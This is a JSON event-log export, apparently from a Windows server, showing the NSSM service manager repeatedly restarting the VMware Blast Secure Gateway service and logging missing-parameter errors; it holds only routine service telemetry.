{"@timestamp":1646643134122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154825}}
{"@timestamp":1646643134123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154826}}
{"@timestamp":1646643262617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154827}}
{"@timestamp":1646643262618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154828}}
{"@timestamp":1646643262619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151916","0"]}}},"module":"Application","provider":"nssm","sequence":154829}}
{"@timestamp":1646643262620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151916","151916","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154830}}
{"@timestamp":1646643262636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154831}}
{"@timestamp":1646643262637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154832}}
{"@timestamp":1646643262637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154833}}
{"@timestamp":1646643262638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154834}}
{"@timestamp":1646643391133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154835}}
{"@timestamp":1646643391134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154836}}
{"@timestamp":1646643391135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151640","0"]}}},"module":"Application","provider":"nssm","sequence":154837}}
{"@timestamp":1646643391136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151640","151640","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154838}}
{"@timestamp":1646643391150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154839}}
{"@timestamp":1646643391151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154840}}
{"@timestamp":1646643391151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154841}}
{"@timestamp":1646643391152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154842}}
{"@timestamp":1646643519665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154843}}
{"@timestamp":1646643519666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154844}}
{"@timestamp":1646643519667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152244","0"]}}},"module":"Application","provider":"nssm","sequence":154845}}
{"@timestamp":1646643519667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152244","152244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154846}}
{"@timestamp":1646643519683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154847}}
{"@timestamp":1646643519684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154848}}
{"@timestamp":1646643519684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154849}}
{"@timestamp":1646643519685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154850}}
{"@timestamp":1646643648193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154851}}
{"@timestamp":1646643648195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154852}}
{"@timestamp":1646643648195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152556","0"]}}},"module":"Application","provider":"nssm","sequence":154853}}
{"@timestamp":1646643648196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152556","152556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154854}}
{"@timestamp":1646643648211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154855}}
{"@timestamp":1646643648211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154856}}
{"@timestamp":1646643648212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154857}}
{"@timestamp":1646643648213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154858}}
{"@timestamp":1646643776786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154859}}
{"@timestamp":1646643776787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154860}}
{"@timestamp":1646643776788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148524","0"]}}},"module":"Application","provider":"nssm","sequence":154861}}
{"@timestamp":1646643776788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148524","148524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154862}}
{"@timestamp":1646643776803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154863}}
{"@timestamp":1646643776804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154864}}
{"@timestamp":1646643776804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154865}}
{"@timestamp":1646643776805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154866}}
{"@timestamp":1646643905321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154867}}
{"@timestamp":1646643905321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154868}}
{"@timestamp":1646643905322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151676","0"]}}},"module":"Application","provider":"nssm","sequence":154869}}
{"@timestamp":1646643905322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151676","151676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154870}}
{"@timestamp":1646643905338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150896","0"]}}},"module":"Application","provider":"nssm","sequence":154871}}
{"@timestamp":1646643905338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150896","151676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154872}}
{"@timestamp":1646643905352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154873}}
{"@timestamp":1646643905353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154874}}
{"@timestamp":1646643905353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154875}}
{"@timestamp":1646643905354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154876}}
{"@timestamp":1646644033828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154877}}
{"@timestamp":1646644033829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154878}}
{"@timestamp":1646644033830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152204","0"]}}},"module":"Application","provider":"nssm","sequence":154879}}
{"@timestamp":1646644033830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152204","152204","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154880}}
{"@timestamp":1646644033846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154881}}
{"@timestamp":1646644033847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154882}}
{"@timestamp":1646644033848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154883}}
{"@timestamp":1646644033848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154884}}
{"@timestamp":1646644162403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154885}}
{"@timestamp":1646644162405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154886}}
{"@timestamp":1646644162406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151736","0"]}}},"module":"Application","provider":"nssm","sequence":154887}}
{"@timestamp":1646644162406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151736","151736","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154888}}
{"@timestamp":1646644162422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154889}}
{"@timestamp":1646644162423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154890}}
{"@timestamp":1646644162423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154891}}
{"@timestamp":1646644162424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154892}}
{"@timestamp":1646644290911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154893}}
{"@timestamp":1646644290912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154894}}
{"@timestamp":1646644290912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149728","0"]}}},"module":"Application","provider":"nssm","sequence":154895}}
{"@timestamp":1646644290913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149728","149728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154896}}
{"@timestamp":1646644290929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154897}}
{"@timestamp":1646644290929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154898}}
{"@timestamp":1646644290930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154899}}
{"@timestamp":1646644290931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154900}}
{"@timestamp":1646644419412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154901}}
{"@timestamp":1646644419413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154902}}
{"@timestamp":1646644419413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152140","0"]}}},"module":"Application","provider":"nssm","sequence":154903}}
{"@timestamp":1646644419413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152140","152140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154904}}
{"@timestamp":1646644419429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154905}}
{"@timestamp":1646644419430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154906}}
{"@timestamp":1646644419431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154907}}
{"@timestamp":1646644419432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154908}}
{"@timestamp":1646644548047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154909}}
{"@timestamp":1646644548047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154910}}
{"@timestamp":1646644548048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151392","0"]}}},"module":"Application","provider":"nssm","sequence":154911}}
{"@timestamp":1646644548048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151392","151392","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154912}}
{"@timestamp":1646644548063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154913}}
{"@timestamp":1646644548064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154914}}
{"@timestamp":1646644548064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154915}}
{"@timestamp":1646644548065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154916}}
{"@timestamp":1646644676575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154917}}
{"@timestamp":1646644676575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154918}}
{"@timestamp":1646644676576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152412","0"]}}},"module":"Application","provider":"nssm","sequence":154919}}
{"@timestamp":1646644676577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152412","152412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154920}}
{"@timestamp":1646644676592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154921}}
{"@timestamp":1646644676593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154922}}
{"@timestamp":1646644676593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154923}}
{"@timestamp":1646644676594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154924}}
{"@timestamp":1646644805111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154925}}
{"@timestamp":1646644805111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154926}}
{"@timestamp":1646644805112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150836","0"]}}},"module":"Application","provider":"nssm","sequence":154927}}
{"@timestamp":1646644805112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150836","150836","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154928}}
{"@timestamp":1646644805128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154929}}
